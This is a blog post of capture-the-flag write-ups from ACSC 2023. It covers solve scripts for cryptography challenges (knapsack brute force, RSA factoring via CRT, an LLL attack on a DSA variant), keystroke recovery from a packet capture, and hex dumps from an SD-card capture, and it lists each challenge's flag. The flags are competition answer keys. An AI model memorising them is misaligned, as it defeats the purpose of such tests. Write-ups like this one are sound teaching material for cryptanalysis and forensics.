Home ACSC 2023 Writeups
Post
Cancel

ACSC 2023 Writeups

On February 25, I participated in Asian Cyber Security Challenge 2023 (ACSC 2023) and, by some luck, I was ranked 2nd in Vietnam and was selected as one of 15 contestants to participate in the International Cybersecurity Challenge (ICC) 2023, hosted in San Diego, USA. It was late to publish the writeups here because I only started this blog one week ago. However, late is better than never!

alt text

Welcome

Information

CategoryPoints
Warmup10

Description:

Welcome to ACSC 2023! Check our Discrod for the flag :)

Solution

Flag is in the Announcement thread.

Flag is: ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}

Cryptography

Merkle Hellman

Information

CategoryPoints
Warmup + Crypto50

Description

We tired of RSA, try a new cryptosystem by merkle and hellman but we don’t know how to decrypt the ciphertext.

We need your help for decrypt the ciphertext to get back my flag.txt!

Solution

Looking at the source, we can see that the key that encrypt function uses is given, and we can brute force from 0 to 2^7=128 the ascii value of each character of the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *

pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
flag=b''
for i in ct:
    for j in range(128):
        s = 0
        for k in range(7):
            if j & (64 >> k):
                s += pk[k]
        if i==s:
            flag+=long_to_bytes(j)
print(flag)

Flag is: ACSC{E4zY_P3@zy}

Check_number_63

Information

CategoryPoints
Crypto150

Description

I know the “common modulus attack” on RSA. But as far as I know, the attacker can NOT factor n, right? I generated 63 keys with different public exponents. I also generated the check numbers to confirm the keys were valid. Sadly, public exponents and check numbers were leaked. Am I still safe?

Solution

We have to factor $n$ given multiple primes $e_i$, and $\frac{e_i*d_i-1}{\phi(n)}$, where $d_i$ is the inverse of $e_i$ mod $\phi(n)$.

Since $\phi(n)=pq-(p+q)+1$ and $e_i*d_i-1=k\phi(n)$ (k is integer), we rewrite to get multiple modular equations $p+q=pq+k^{-1}+1=n+k^{-1}+1$ mod $e_i$. Apply CRT, we can get $p+q$ mod $\prod e_i$

However, $p+q$ is about 1024 bits, $\prod e_i$ is about 1008 bits, so we will have to brute a little bit to get the exact $p+q$.

Finally, given $p+q$ and $n=pq$, we can easily find $p$ and $q$ and apply the script given to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *
import gmpy2
from hashlib import *

r=24575303335152579483219397187273958691356380033536698304119157688003502052393867359624475789987237581184979869428436419625817866822376950791646781307952833871208386360334267547053595730896752931770589720203939060500637555186552912818531990295111060561661560818752278790449531513480358200255943011170338510477311001482737373145408969276262009856332084706260368649633253942184185551079729283490321670915209284267457445004967752486031694845276754057130676437920418693027165980362069983978396995830448343187134852971000315053125678630516116662920249232640518175555970306086459229479906220214332209106520050557209988693711
a=[(65537,36212),(65539,5418),(65543,27200),(65551,37275),(65557,19020),(65563,18986),(65579,30121),(65581,55506),(65587,34241),(65599,35120),(65609,49479),(65617,38310),(65629,65504),(65633,15629),(65647,27879),(65651,6535),(65657,24690),(65677,57656),(65687,58616),(65699,19857),(65701,9326),(65707,8739),(65713,60630),(65717,35109),(65719,47240),(65729,12246),(65731,35776),(65761,23462),(65777,48929),(65789,13100),(65809,10941),(65827,55227),(65831,21264),(65837,36029),(65839,1057),(65843,11772),(65851,30488),(65867,45637),(65881,40155),(65899,42192),(65921,64114),(65927,8091),(65929,5184),(65951,8153),(65957,33274),(65963,17143),(65981,7585),(65983,62304),(65993,58644),(66029,15067),(66037,47377),(66041,35110),(66047,30712),(66067,4519),(66071,53528),(66083,1925),(66089,29064),(66103,32308),(66107,52310),(66109,13040),(66137,27981),(66161,36954),(66169,9902)]
s=1

for i in a:
    s*=i[0]
m=[i[0] for i in a]
n=[int((inverse(i[1],i[0])+1+r)%i[0]) for i in a]
sum=int(CRT_list(n,m))

while True:
    if sum^2 - 4*r <=0:
        sum+=s
        continue
    elif gmpy2.iroot(sum^2-4*r,int(2))[1] == True:
        break
    else:
        sum+=s

x=var('x')
q=x^2-sum*x+r
print(solve(q,x))

p=143026116177515987828041940647526671395967499944486647122671304348705870893095386822209597313090170117018866207825081216305902261238513999958328503013758234695405284984667174362118290023851621106497360421553676680838786617409394739766549865486382387391080554313144716298920178020814779020633607861091589038459
q=r//p
if p > q:p,q = q,p
flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}"
print(flag)

Flag is: ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}

Dual Signature Algorithm

Information

CategoryPoints
Crypto250

Description

It must be twice as powerful as the ordinal one.

Solution

At first, i found this article but i couldn’t find anything. Then i found a way to combine two given modular equation in sign functions, which is $s_1=k^{-1}(z+r_1x) [q_1]$ and $s_2=k^{-1}(z+r_2x) [q_2]$

Using CRT, we can compute $S$ such that $S=s_1[q_1]$ and $S=s_2[q_2]$, and $R$ such that $R=r_1[q_1]$ and $R=r_2[q_2]$. Then the two equation mention above can be rewrite to $S=k^{-1}(z+Rx) [q_1q_2]$. Observe that $x,k$ is around 512 bits, while $N=q_1q_2$ is around 1040 bits, we can use LLL to get shortest vector $(\alpha * k, \beta * x, 1,0)$, where $\alpha$ and $\beta$ are scaling factors.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from hashlib import *

r1, s1 = 2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630, 705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802
r2, s2 = 3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604, 2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373
p1, p2 = 6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699, 6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839
q1, q2 = (p1 - 1) // 2, (p2 - 1) // 2
N = q1*q2
m = b"omochi mochimochi mochimochi omochi"
m= int(int(sha256(m).hexdigest(), 16) % N)

S=int(CRT_list([s1,s2],[q1,q2]))
R=int(CRT_list([r1,r2],[q1,q2]))


A = Matrix([
    [1/2^512,0,0,-S],
    [0,1/2^512,0, R ],
    [0,0,1, m ],
    [0,0,0,N]

])
res = int(A.LLL()[0][1]*(2^512))
print(long_to_bytes(res))

Flag is: ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}’

Forensics

Pcap-1

Information

CategoryPoints
Warmup + Forensics50

Description

Here is a packet capture of my computer when I was preparing my presentation on Google Slides. Can you reproduce the contents of the slides?

Note: If you find a “fake flag”, submit it here. Some text next to the flag says that it is not accepted, but now it is. There are 2 flags in the challenge, and both are accepted. Part 1 accepts the flag that is easier to get.

Solution

After searching for a while, i found this.

Apply their script to our pcapng file, we get the following message:

1
[+] Found : aasslliiddddeeeessss..ggggoooogglleeee..ccoooomm<RET><RET>CCTTFF<SPACE><SPACE><SPACE><SPACE>IInnttttttrroo<SPACE><SPACE>PPrrrreesssseeeennttaaaattiiiioonnbbbbccaaaabbaabbbbccbbccbbaaaaaabbbbaaaaaaaaaaaaHHooww<SPACE><SPACE>ttoo<SPACE><SPACE>bbee<SPACE><SPACE>ggoooodd<SPACE><SPACE>aaaatt<SPACE><SPACE>CCTTFFss??aaaaaaAA<SPACE><SPACE>bbeeggiinnnneeeerr''ss<SPACE><SPACE><SPACE><SPACE>gguuuuiiddddee<DEL><DEL>bbDDoonnoottcchheeaaaattaaaaaaGGgguuuueessssiiiinnnnggaaaaaabbiissbbbbaabbaaccaaggooooddaaaaaaaaccaaTTtthhiiiiss<SPACE><SPACE>iiiiss<SPACE><SPACE>aaaannnn<SPACE><SPACE><SPACE><SPACE>eexxxxaaaammpppppplleeee<SPACE><SPACE>ooooffff<SPACE><SPACE>aaaa<SPACE><SPACE>ffllllaaaagg""aaaaAACCSSCC{{aaaaff00rr33nnss11ccssbbbbaabbaaaaaaaaaaaaaaaaaaaaaaaa__bbaaaaiissccddaabb__aaaaaaaaaaaaaaaabbaaaaaaaass00aaaaaa__bbaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaffuumm<DEL><DEL>nnaaaaaaaaaaaaaaaaaaaaddddaabbbbccacacddbbccbbaaaabbaaaaaa}}aabbaabbbbddbbababbbbbbbaabbbbbbbbbbbbeebbaabbaaddaaaaaaaaaaaaaaaaaabbbbaaaaaaaaaabbaabbbbaaaabbaaababaaaaaabbaaaaaaaaaaaabbccggaabbccccbbccbbccccbbbbbbaaaaccbbbbaaaaccaabbccbbddccbbbbbbbbbbcbcbaabbccccffddaaffaaaaddcceeddaaffccddddaaddeeddbbccccbbddccccbbffbbbbaabbaaaaaabbaabbaaaaaaccaaaabbaaccbbccbbbbcccccccccceeddaaffddaaeeaaffeeeeaaaabbaakkeeeeaaeeddffaaaaddeeeeaaeeddaabbeeffddaaaaaaddffeebbbbaagghhhhhhbbbbiihhiibbccbbjjhhddbbbbhhiiggddbbbbbbhheeggbbaaeeeeeeddeeeeeeaaccaaggddaaffbbccbbbbbbaaaaaabbaaaabbaaaaccccccaaaaaaaaaaaaaaaaaaaaaabbaaaabbaabbccccbbbbbbbbccbbbbbbaaccaaccccbbbbbbaaaabbaabbddccaaaaffbbdddccdccaaccddccddaaaaaaffddaaddccddaaccccccbbbbaabbaaaaaaaaaaaaaaaaaaaaIIff<SPACE><SPACE><SPACE><SPACE>yyoooouuuu<SPACE><SPACE>ccccaaaann<SPACE><SPACE><SPACE><SPACE>rrrreeeeeeaaaadd<SPACE><SPACE>tttttthhiissss<SPACE><SPACE>mmmmeessssaaggggee,,<SPACE><SPACE>ccoonnnnggrraaaattss!!11<RET><RET>BBuuuutt<SPACE><SPACE><SPACE><SPACE>tttthheeee<SPACE><SPACE>ffllaaaagggg<SPACE><SPACE>yyoooouu<SPACE><SPACE>sssseeeeee<SPACE><SPACE>nnnnooww<SPACE><SPACE>iiiissss<SPACE><SPACE>nnnnooootttt<SPACE><SPACE><SPACE><SPACE>tthhhheeee<SPACE><SPACE>aacccceeeepptteeeeeedd<SPACE><SPACE>ffllllaaaagg..aaaaaaaaaaaaccaaaaaabbbbccbbccaabbcbcbbbbbccbbbbbbccccaabbddccaaccddaaccccffaabbccccbbbbaabbbbaaaaaaaaaaaaaaaabbeeaabbaaaabbaaddbbaaaaaaaaccaaaaccaabbaaababbbbbbbbbbbbbccbbaaccbbbbbbaaaabbbbaabbbbaabbaabbaabbaaaaccbbbbbbbbcccbcbaabbbbbbaaccaaaabbaaaabbaaaaaaaabbaabbaaaaaaaa<RET><RET>IInnssppeeeecctt<SPACE><SPACE><SPACE><SPACE>tttthhhheeee<SPACE><SPACE>ppppaaaacccckkeeeettttssss<SPACE><SPACE>mmmmmmmmrrrreeee<SPACE><SPACE>ddddeeeeppllyy,,<SPACE><SPACE>mmaa<DEL><DEL><DEL><DEL>aaaanndddd<SPACE><SPACE>yyoooouuuu<SPACE><SPACE>wwwwiillll<SPACE><SPACE>rrrreevvvveeaaaall<SPACE><SPACE>mmmmmmrrrreeee<SPACE><SPACE>iiiinnffoomm<DEL><DEL>rrrrmmaaaattiiiioonn<SPACE><SPACE><SPACE><SPACE>aaaabboooouuuutttt<SPACE><SPACE>wwwwhhhhaaaatttt<SPACE><SPACE>iissss<SPACE><SPACE>hhhhaaaappppeeeenniiiinngg..<RET><RET>II''mm<SPACE><SPACE><SPACE><SPACE>wwwwrrrriittttiiiinnnngggg<SPACE><SPACE>tttthhhhhhiissss<SPACE><SPACE><SPACE><SPACE>hheerrrree,,<SPACE><SPACE>ootthhhheeeerrrrwwiissssee<SPACE><SPACE>1111000000<SPACE><SPACE>ppeeeeoooopppplllleeee<SPACE><SPACE><SPACE><SPACE>wwiillll<SPACE><SPACE><SPACE><SPACE>ddmm<SPACE><SPACE>mmmmeeee<SPACE><SPACE>ttttoo<SPACE><SPACE>ssssaayy<SPACE><SPACE><SPACE><SPACE>tttthhaaaatt<SPACE><SPACE><SPACE><SPACE>tttthhee<SPACE><SPACE>ffllaaaagggg<SPACE><SPACE>iiss<SPACE><SPACE>nnnnooootttt<SPACE><SPACE>wwoorrrrkkiiiinnnngg,,,,<SPACE><SPACE>oooooooorr<SPACE><SPACE><DEL><DEL><DEL><DEL><DEL><DEL>rr<SPACE><SPACE><SPACE><SPACE>tthhhheeee<SPACE><SPACE>cccchhaalllleennggggee<SPACE><SPACE>iiiissss<SPACE><SPACE>bbrrookkeenn..<RET><RET>BBttww,,<SPACE><SPACE><SPACE><SPACE>II<SPACE><SPACE>ddoonn''tttt<SPACE><SPACE>lliikkeeee<SPACE><SPACE>ffoorreennssssiiccccssss<SPACE><SPACE>ttoooo..<SPACE><SPACE>""))

Each letter has been doubled, and there are needless characters like a and b, so we just need to remove them and get the flag.

Flag is: ACSC{f0r3ns1cs_is_s0_fun}

Hardware

Hardware is not so hard

Information

CategoryPoints
Hardware100

Description

I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It’s in SPI mode.

Solution

Actually i got this by lucky as i have limited knowledge about hardware :)).

Looking at the source given, i notice at these lines :

1
2
3
Device to SD Card : 510000000055
SD Card to Device : 00
SD Card to Device : fffffffffffffffffffeffd8ffe000104a46494600010101004800480000ffdb0043002c1e2127211c2c272427322f2c35426f48423d3d42886166506fa18da9a69e8d9b98b1c7ffd8b1bcf1bf989bdeffe0f1ffffffffffacd5ffffffffffffffffffffdb0043012f3232423a4282484882ffb79bb7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc20011080355028003011100021101031101ffc400190001010101010100000000000000000000000102030405ffc4001801010101010100000000000000000000000001020304ffda000c03010002100310000001f1800000140000000052800a529a346e29a29a280000000002804000000000000001c4f15000080000a53a1a2c5294a0a5294a500a0800000001400000000014100000000000000064f9d40002000029e98ee50014000000005040000002800000a40000000000000000000014f9b590002000029ee8d8050000000000504000000280000000000000000000000000014f09c68002000029f4600a000000000500004000050000000002900000000000000000283ca796801000003a9ee8000000000000a000400140000000280002000000000000000a00389e1a02000000f447ac0000000000050000400a00000000280002000000000000000a00327cda00400000f6477000000000001411dc

All the hex messages after in ‘SD Card to Devices’ also begin with ‘ff….fe’, and i also noticed JPG header ‘ffd8ff’ in the first hex message, so i tried to remove all ‘ff…fe’ and concatenated all the hex message to get a jpg image.

Unfortunately, it didn’t give me the image. I made another guess, that each hex message is correspond to one hex number ‘5100..’ above it, so i sort them in ascending order and tried again.

1
2
3
4
5
6
7
8
9
10
s=[[0x510000000055,'ffd8ffe000104a46494600010101004800480000ffdb0043002c1e2127211c2c272427322f2c35426f48423d3d42886166506fa18da9a69e8d9b98b1c7ffd8b1bcf1bf989bdeffe0f1ffffffffffacd5ffffffffffffffffffffdb0043012f3232423a4282484882ffb79bb7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc20011080355028003011100021101031101ffc400190001010101010100000000000000000000000102030405ffc4001801010101010100000000000000000000000001020304ffda000c03010002100310000001f1800000140000000052800a529a346e29a29a280000000002804000000000000001c4f15000080000a53a1a2c5294a0a5294a500a0800000001400000000014100000000000000064f9d40002000029e98ee50014000000005040000002800000a40000000000000000000014f9b590002000029ee8d8050000000000504000000280000000000000000000000000014f09c68002000029f4600a000000000500004000050000000002900000000000000000283ca796801000003a9ee8000000000000a000400140000000280002000000000000000a00389e1a02000000f447ac0000000000050000400a00000000280002000000000000000a00327cda00400000f6477000000000001411dc'],[0x51000000142f,'6b2198368e4d7679ae6b9e4cbc6aa6bbe9a5f1c59144b0635608228b0411471676a3a5736854a21651850f3b54e87dd4280b93c852a54a9d51b37c5e6d1a254bd1463db16ed6c09d11b75ca28960c5160c5c317bb5b3eaf0a1e434e184551534534d1510b2a8576b0cb90b894ae6d0a3a6582bf85dd587834a952a54b056d10a142851e010a142850b92e4afa254a969f00a6f43dd5bc143970e7c267cf6429f109c7952a54a9f0ca6cd0f453d02db83a25b2e54a956dea342850a146f4a953ec2ffc4002c100002010205050002010501010000000000011121311041516171203040819160a150b1c1e1f0f170d1ffda0008010100013f21f165a1bc375f0dd7c3746f8de1b02d542d656ab390804793e7f0e93c5f798d448b44de44b41fe906e0de66fb398d8fde136a4593e10b4fe55206dde4a9fe06b2ad1f7523f03921b7ee252e3f044fe877167f04925b6ee2d6f45f822c2dbb8b5bdff05581bf6d63f05229eabb69422fc153b41651bfe0d02ed24a6df83c8adfb2956fc1e247af656a7bfe08d1afc13492b0927a76523f9d135639c1c73f52be3a558d9473a066f32e70a1b705956abb290ab6fe451738c1b4aee08649bf46a539c76df70a129c8e364b52f283216869408d2ab9c287a587e8635258458a308975acaadff826b70ea37ff4324958684be0dc8f424b1e12b5266c269d9ce146c89a4b851da25ef825628a'],[0x51000000366f,'b502c3526c5612b655de348b54e4cb30559519a9d2a3ebb39209ba7cc5604af32ce7a7ddc336432c2617266a59b96f58adae39ada3b475ade32a42158a80752e1692f694d4c255b6d7c74a989f314ad2010f0ea4b54203761718cd82a6496e5e6b5a1a84dafea24489343ccc05e2285d4554752c5abc4d5c7645256f74e53302c4c160572c3669a455fbf109b29dc252a2f68dd478d9e25ba5bf685099ac933475205828b9adaf1c54de6472218ef4e6f31516c97772839d4a2838cb7825caf7965e8a9729e060bb33c4b96b2afa1c3cca951224d418f722d8b2a63b4b39259c935d3a5bd866ea26e68d17529456ab80696299b95502aeac343297982e015c662c52a9ae59572d85d6a58197e65b79b875377753cc34b96a088d2ad3956d0349a0d9b5f78ea003bb09115cb9420ddda6491016dd2c63163ef0fab5047a3c9571348711816019d51296f4692e356c743882d9b1a31b3a93479859806d06b19aa962296013b0b12f76046d6d16769440505bbd61ff00ac8ce6324a072e9ee28309856d85600388e358a99312c96421808c4264ac911d05ed09aa78ef15b19c6116dc3dba4a72757a033d0e2c0d17a45220ee7cf101cb45a1b2fbdcb664b2fc74388fb10ac179f8822190dbfc95681c4b775f3157557cf470dda30ca39c5fc4c0bae5fb42c31abbb8e62cc816a2b686e485a7ef2d5b015533e637cea934c37390f096fa'],[0x510000001067,'f65ecbd97b2e65ccb99732e65cc964b25fff0041ffc400291100020103030402020203000000000000000111021012213150203040514160617022903271b0ffda0008010301013f01ff00a564f6279a9e8c913d11d108c518abc189890884628c487cacd92b410ad3d1047873c7b631222d3e668cdb8efc94fbe067d8ff001c631ec53b705b1b71696b25453b707f81718b47c1b42e2be6d5a1395c1fcf15f375bc706c5b7191c22fd3ff00e4e3e9ce6c947d3a24dbfb00924927e970422110884628c0864b32fa33d09ec4909987a35465f448355db74a64342abe8722445e49249e969321ad85572f1dc924d0c518181818330660cc59151a8f51684f2b24f671660cc08a4fe2654999999999999992255e51fc4c51810f98c598a269333364bef64cc93dcc53d868d7e055fb32442663c941a1912fc655909ec3a4d512646488238f9f2d55ec74fa1d27fbbe4448d477179ebb3041047849c1a54350409df2f635dbf9e1649b493e32abd8e9f441b59a3544a64765f5be655506fb0ed37557b23b0fe828991a8e862aa0dc6bb4bc8779249249249249249b6afc8557b1abd4ad22a931ab49249253e6e83edc8bc94c6af040d14d7f0caa9208bd3d6fc577a8915eae01337e876a6a1ab5565bf5bf15f4abb206bcf46e35178220a6a1a1f9cc56a84882491b131924da9f3539d0a945a4dc8829a8aa922caebc866c48c92795ea'],[0x510000000ea9,'68d46a4d046a69834266b84365ace59cb45b494a43cb0fa678ad762fc70c865acb596b2d20887eb4ad8d3ae0f3132729e99c732082047c3ef557edb05ae4646527c9249ce4f92493993855a3d360b519f75c270d474c61249f51fcc971251a78389e678d3acf7393f95e4d53d1ec968c78352278329ac74a65b8263c10d461c3c3e38e8f857ebd73e054c96168d1fcad5f4ad30d4fad64a4f8f64b4f8e71748aa2245a92995283427b9a9c2bd4a35f03d2f45e5c5c4b25f4a82d2c1a8c291ebe1584127df87c7b2a343e41040e9c9335c20ba06881768d48f342c33c23c30411d52ccc9c2918cab5feac455186aa08c3eb24bb16a13d970de524f4663a70d71a5c0e2a34346d091f2ecae2eeb8f0410411d346b32342d732ae8c87ae58e448f31faecb86474ce63c27a2670590d66b529d2e16da923389208ca0b73b7b922328ca0b73b734b28cad1e9f363c3d7ee527cc2732d1e87d5334a3efc1ea52e054a174216c5381b68bd9738b997b2e65cc964b3b89677199990449192d76347b4a2e45c499999041696e5690460f3272919040a0b9466f1fbb294ea89ad24d7f0cfed6abd1e8fd97ba3f867f7fd2f55af9a0b4b0b0b0b4b5108ed32322517a39949cca4bd0eba517d076908845a5858585acb7a5ec660b9cdd9492489c1999999999c4388a88aa695509550b5f0c1616114934979cc6732a2e78b3e919464d103a4585e7'],[0x51000000377d,'9b8deedcaefb683a6ffd21a7d67a19998130a49875a8b38791112b4afbce53755282a6facc214ca3250d1e65f0566a012f36627218ef0c2a6ee724c4ea1ac5d4563aad61005b7460ff00ba86e698ce20a4718811041d182e6a65c4bf720358f3679b04650812a541345f13bbf89dd74da613245993d29c8629cbe52ff8f595a8d686b35320778f6837a2cb1221d1b8953517ab5800174e7302201d4bc4ab42ccd262106bc2e88f4150da81d8ed166147ce614cd7e1860abbcdc2a2056f5ff222770cfb455e25db6b7820b3260a68f88b5baa3402826c8dd5862c139e66bcddd8519cef598753bfd43d00af0d465799796e197c9286234a67b4c9ad0823429f31917401572c00c0d712cc1e1752775e544b622d11d22db2dbb99a3e9de00700e2f1102ac9758ef078d733516b578946c72a859c17a8e205c29dc4455c1e48975a2bef288b86aab6852b0203a7c51d552e3d50b68305128205c4f04ee12dc92fc92fcc0558e624b12da31621510b686e8cb0849617567694d29473a6ff00f235903c15325dcd45c882ee9614c0738b890a6c6f17ac24579542e0b4375fef897d1217f69b1362fe988135b8e62ade8bfde065d176404330a6a0aaaabe33a67487d73af400090e03e25350ab35a8b81c2243b18d5c1ccab062aee084d03479969a0dedfac459c910b39d9e61bda73daea158ddb712f3351a1fda028dd15eff00d185f988'],[0x51000000153d,'20d914b3bfa0aa29eecabf682a004751379c5a4be108d02c6b092c86b3467c530ba20489d1369ec6a0b92861c3444aabf06e14b2a08e99e29c8eb49c06e14b29d1182125893b02aa1b042cb26b312b86c86e14b3536457f82e558cd65c0ed4251082b15f512248554390cc589f3680d23d09b997217048ff00026d6136a3662a664b6fa63377504a91a1be244945d5fe438b1366824414689bd61d55557736fe8b5d9dc828b88b45064b85567a0fd35952d10b22468e684a283448a27021ad94256340fd13667e8649ba4e4264d91e1575b96048ca5769270eb4bf45858ad9894f96158e56c59014c646b4af42128e4db3d0ea351ce3fb982aae2b22d20b7e84cb06058132104a05a15b666c5550c3881642952d2ce682e2642e47c9509a868cdc63526b2558895a076f4cf64250866376110d5f074e30d06a54318e2dcac3422be5cb6248988946784d3978d8d46f4496f60a62ae7c24916bd6971cf3b0f4a669bb90093291a5079a94db08382752131351c4560ba046bc998ac1a1a1c4d704c8a706e12cb52747a095acfe0ed526276d2884916a4746960d4a820ddb660ab4ddfa22dd14e847ce15593cb12551c1baf82ad1b249936c458811714669f255a048cdbe846ed016b0bcdfd83a923910a663148aca0693ba9c324ac503bc4e8d2e4122b24b0949a70d1b0f5dd49564fe36a7a3a9206df8549c3a5615abfc2d245a5cdc'],[0x510000000363,'0000000000000000000000500000000000000000000000000f955d8f7c00000040000000000000000000000000500000000000000000000000000f955ea3d7000000100000000000000000000000001400000000000000000000000003e5d7b4ef000000004000000000000000000000050000000000000000000000000003e5d7d18d8000000040000000000000000000014000000000000000000028202021839993359399f4e00000000100000000280080000000140000202004001400012912800200002193070203a1ef8000000004000000050000010842542101080808648080a534534805002900a00014010c9003cc0a7729a8d14a6c141010020250800202021084042100094ab932448028a0112948a346cda500005000040b0c941b3c8420001e83a9411040010000000100210598956f42a22ca5e7a99ccde6eedb673b30998cda2c952288b5349d65cdd72a1d0e8940000280a2190529a381c8c9403d0763290a0800000200080020259912f56b7cd248b9ae76634966aa44590a00202800103be2f526f3c6b0bbaeb150000005c9014d14e670325214f691346002000100008081405c98935a9b66ea396e66b2225000000040a4a0052081d23ac6a31d27232bdab792c000108a00d829e42021a3dc6100c800100008010280497372dde99cce5a53208400000002000a03477af3c400eb95b3784dce6bce2326'],[0x510000002b97,'0f4eed844a7d64ed503ff3d432a1e6192c81895b4e84d90ef2ff00b12859497d95d31be224d2702258d9c92fb8caa832b06af26115d44316e186cf6b6cbf8944bf7ad54abc477bbace8e276fe9fa75203045d86581d54d7a7062d9efebef1023ff0082e800da778f853282bb95d1baacf65ca1a272c1564f44b5079603507c4bda29ad3d2cd4ad2f4cc45d5a9b84e68aac41aa28f13c4b2c2d202e5baa45d3a084e46d68b985544b63086f40e18c401a094680f3299b0eca824ac1c4ba372a5d76a84d7b6a0b2eacbe2e02391a430dd9a874d9f9dd33162b1854c11c86a80980358eda1ad1475af80af8f5d4fbdf4064a02d87934965efd31e1fbc321872d1028a9c164be347eb025d1ee846bcf579d2032006ab07a079704476d5cab8201344b80f5b74085d50a6822448b7620a64baabb62c17548eda814316999398b8766ab78a0574331d902838808e82e27a1562f6254d8b6e3ccbb2e76c0880b0f75b8300e0e8c50f8206ba0f030a73cdaee0e181cbda53b7d89702cf135973521ba34a2519cd04668708e26d8ab6b72373ac590295d735759a8ea6b0532da3fbcc76780840ec67ccc578a3b7a898ae8fc330cc9547d59572ca16c7896b65ac9ac6d0d175acb10d39d5619150785d44542f8938947670837aab9dfa0bad85755a414029cca021e650ea0cbfa164eec7d762e47448ae1972e06874f882209a39835c8a87129e'],[0x510000003981,'8f105b5ae83c98893e529a28e3fc830270c3bed1255c8c53fbc4c96b638abc19fe26a0286dc2f48508801d57236fef2c88a8c0acff00486c40d2e2d8c573dfedd31f46b31a3794db3e252e8bde78083797c111de9c1fbb0ed20b73f100d54a757f32b947f0871fb6605d66ad2852ef5d262bc5cd1046bed10acc9e25810c5082be5072191dd2d8bb74f78ecb8db43ee476151e121fe8985ca3b626a256818d64175de5b40062a2814eb89a0eafd568630ea1cc082805388d4579db7cc58bf054505c8c8cdf1dd2d866d959634ab6cd31c4c7c653700765484d8f65ca5894cf2206c4e55aca291561b31b3102b0d7ef036aef6cca78adac5cf798f921ea50d5a9d82ccb83ef3667f68fd8f3985367c626cd7dee734f0417eeb36afef11b4f042d555f88361ab972badc9c13470e52ac718c0366c5c76896495df78d46b1bef2d1e0cc7b6abaab8161a26a11792ee24c65606615284f316a550ef444a4aa73a4c6c5798509b730004a5bed28a5333559f372ff00b676042d5bfcc3647b4a1bfb206ff8b1b467f73fecd41f55ead0c56037266050f679f98d2bbcd3102e807b4a2c254ccd48ce4b220936545988d0169a37a4d5ace6e355a886a6f016e1da9a832df3c195e4afb389444a0deb488176ad1a997926068cc2e0b11db1bb0d3aa86ac4ed342fd089d50f1966d95eecd23be0a9b0de733749e3115a8be5eaf51a1ef1db6b53'],[0x510000003111,'8f2715b77e9a83f0691e88d653270ca884a7b115d470787d0a952a54a944afada51d4712fe96ae87475874d6f4ed35d8b7e85fc0b1e8a2d362b206e5b1da188d0f10254a952bf0b64b9968d20e58dbe88d3d0d7a1d1874c205072d4c29e0eb92e8fe09e8cd5d1b5da68788fea9fa30fc05cb25cb972e5fa02dae888f12b32a532994ca6532a267d07461d0d653fca3cbcd3a6fd5fc05cb8f4748e83350e86220fbba9bfaee5cb972fe9386a1d2e5301aae841dbe79f47b7add7a90e8fa2cee0cf96af4747c757e9d82bed046fd4f43449ae1764336b78a583788704a7746cd4972e5fe0aa0770839a97df04140d8d03420a574b97f41d7a9a43a3d0e86bb302628e3a3523d1fa4c2848be8a38173b378218647b8256a7cccd8a7de53da83f6a371e1f323737895fee40e94c455257d0a6532d2d3ce797454a254a8ca1468f40183eb7a9d58c3a559cd5f434bcf57e93d0b18981952a574c4a25e80ae8314ccf034f89a879268fb4da8f389a4f79b72f0e26f47911d843b999aa81f865c64270cdf2fd13bd1da5128947a2a5b8969697f40203798b451d140b653bc2da0b0d892d9f132b68fba37a530ec47991d2f3d5ea743a30e9ee042b57bf4d9d5fa2c66ad4d3296e8cc40b11635711209b9de09996e912a2075cc36caec9cccf1129081963709988181fbc16d64d9d48c211b09a4c75ab31b43669a3926156098be778d17595f'],[0x510000003227,'5672454a9416d70e60db87c9005b07b7fc88e6bc8d669993ad52ba85ca952a54a951f445cf79fef4b30fc907a05f04418739b47691778f4f0f57a9af43a8e8040d25b74fd2ea88d254b25cb8cb972fa9d61a92884b7c4c4410159542a2dddb48cd5286e2d342cc54028ae51b9ae9bdc51b6660d8eda7089ed694728a4aabfa4b97778cc7908e7213821900eea0c716d6ab282779e528daa5396b4d258d9828d8d3c93038fef3b1fc1895661c9acef04a952ba1afa9ea58b624d043ae6ab6c2f699342cadd15c6ac0a5c956ee3b448550f654fd3f799777febdfbc0ab598c031ed1e472757aefd0e8c3a2c3f047a6a74cc6f5865c3cfa1d0f46f308c749986d710b91076e21ae3e575ff2378d86e6f014368e8de90b6237b331ad46a5eb2ab869d4618570fc92923c144ab207456a2998d6d170695777fc82396d17a4744f17a7ef15bf737f9961d906952bb32db33c71da255a5fccecbf33b37d895ffc10fabbc91368f21380182db3e2256a7d17a3d344c5dc655da003920128bc901c3bb89a5baaabb75543abe93a3d567dd7a6fd7447e81acd518c65b58eb73359eca98d29e6a2a1a6b822adda6a6e6b172b0798b6ac9de665bdbae6086047627683cb05b93c0b0de4f6a81b2fbc7201e7f94a757f540da07b408d3e0fe654d1fb67f4b9e2fccf07e653bfc4a3b9ee4e2b7bc750c9e6f99cb1e4b95077